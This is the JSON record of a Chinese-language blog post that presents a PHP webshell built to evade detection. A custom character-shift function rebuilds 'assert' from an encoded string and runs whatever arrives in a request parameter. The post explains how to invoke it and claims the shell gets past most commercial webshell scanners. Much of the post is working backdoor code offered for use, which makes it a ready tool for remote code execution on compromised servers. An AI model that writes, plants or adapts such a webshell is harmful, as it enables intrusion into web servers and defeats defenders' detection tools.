{"id":238,"date":"2022-02-17T22:48:39","date_gmt":"2022-02-17T14:48:39","guid":{"rendered":"https:\/\/aaaahui.top\/?p=238"},"modified":"2022-08-13T21:26:38","modified_gmt":"2022-08-13T13:26:38","slug":"php-webshell-bypass2","status":"publish","type":"post","link":"https:\/\/ahui.blog\/index.php\/2022\/02\/17\/php-webshell-bypass2\/","title":{"rendered":"PHP\u81ea\u5b9a\u4e49\u5b57\u7b26\u5904\u7406\u51fd\u6570\u514d\u6740webshell"},"content":{"rendered":"<p><strong>\u7f51\u4e0a\u4e00\u76f4\u6709\u4f7f\u7528\u5404\u79cd\u7f16\u7801\u3001\u52a0\u5bc6\u514d\u6740PHPwenshell\u7684\u65b9\u6cd5\uff0c\u5f88\u591a\u7528\u7684PHP\u81ea\u5e26\u7684\u4f8b\u5982base64_decode\u3001substr_replace\u3001str_rot13\u8fd9\u79cd\u51fd\u6570\u53bb\u5904\u7406\uff0c\u60f3\u5230\u53ef\u4ee5\u81ea\u5b9a\u4e49\u5b57\u7b26\u4e32\u5904\u7406\u51fd\u6570\uff0c\u6d4b\u8bd5\u4e00\u4e0b\u4f1a\u4e0d\u4f1a\u6709\u6bd4\u8f83\u597d\u7684\u6548\u679c\uff0c\u6700\u7ec8\u6d4b\u8bd5\u6548\u679c\u8fd8\u7b97\u7406\u60f3\u3002<\/strong><\/p>\n<p>\u81ea\u5df1\u5b9e\u73b0\u7c7b\u4f3c\u4e8estr_rot13\u7684\u7f16\u7801\u65b9\u6cd5\uff0c\u539f\u7406\u5f88\u7b80\u5355\uff0c\u4f46\u6548\u679c\u8fd8\u4e0d\u9519\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nfunction rot($str,$len){\n    $restr=&quot;&quot;;\n    for($i=0;$i&lt;strlen($str);$i++){\n        $restr.=chr(ord($str[$i])+$len);\n    }\n    return $restr;\n}\n\nfunction muma($a,$len){\n    $exe=rot(&#039;^ppboq&#039;,$len);\n    $exe($a);\n}\nmuma($_REQUEST[&#039;x&#039;],$_REQUEST[&#039;len&#039;]);<\/code><\/pre>\n<p>\u89e3\u6790\uff1a\u53d6\u5b57\u7b26\u4e32\u7684\u6bcf\u4e00\u4f4d\uff0cord\u89e3\u51faASCII\u540e\uff0c\u7edf\u4e00\u53f3\u79fb\u4f20\u5165\u7684$len\u4f4d\uff0c\u7136\u540e\u518dchr\u8fd8\u539f\u6210\u5b57\u7b26\uff0c\u518d\u62fc\u63a5\u8d77\u6765\uff0c\u8fd9\u91cc\u4f20\u5165\u7684^ppboq\u5c31\u662fassert\u5de6\u79fb3\u4f4d\u7684\u7ed3\u679c\uff0c\u6240\u4ee5\u51fa\u4f20\u5165x=phpinfo();&amp;len=3\u5373\u53ef\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<p>\u6d4b\u8bd5\u7ed3\u679c\u53ef\u4ee5\u8fc7\u5e02\u9762\u4e0a\u5927\u90e8\u5206webshell\u68c0\u6d4b\uff0c\u957f\u4ead\u3001\u767e\u5ea6\u4ec0\u4e48\u7684\u90fd\u53ef\u4ee5\u8fc7\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7f51\u4e0a\u4e00\u76f4\u6709\u4f7f\u7528\u5404\u79cd\u7f16\u7801\u3001\u52a0\u5bc6\u514d\u6740PHPwenshell\u7684\u65b9\u6cd5\uff0c\u5f88\u591a\u7528\u7684PHP\u81ea\u5e26\u7684\u4f8b\u5982base64_decod &#8230; <a title=\"PHP\u81ea\u5b9a\u4e49\u5b57\u7b26\u5904\u7406\u51fd\u6570\u514d\u6740webshell\" class=\"read-more\" href=\"https:\/\/ahui.blog\/index.php\/2022\/02\/17\/php-webshell-bypass2\/\" aria-label=\"\u7ee7\u7eed\u9605\u8bfbPHP\u81ea\u5b9a\u4e49\u5b57\u7b26\u5904\u7406\u51fd\u6570\u514d\u6740webshell\">\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[16],"class_list":["post-238","post","type-post","status-publish","format-standard","hentry","category-safety_research","tag-php"],"_links":{"self":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/238","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/comments?post=238"}],"version-history":[{"count":1,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/238\/revisions"}],"predecessor-version":[{"id":240,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/238\/revisions\/240"}],"wp:attachment":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/media?parent=238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/categories?post=238"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/tags?post=238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}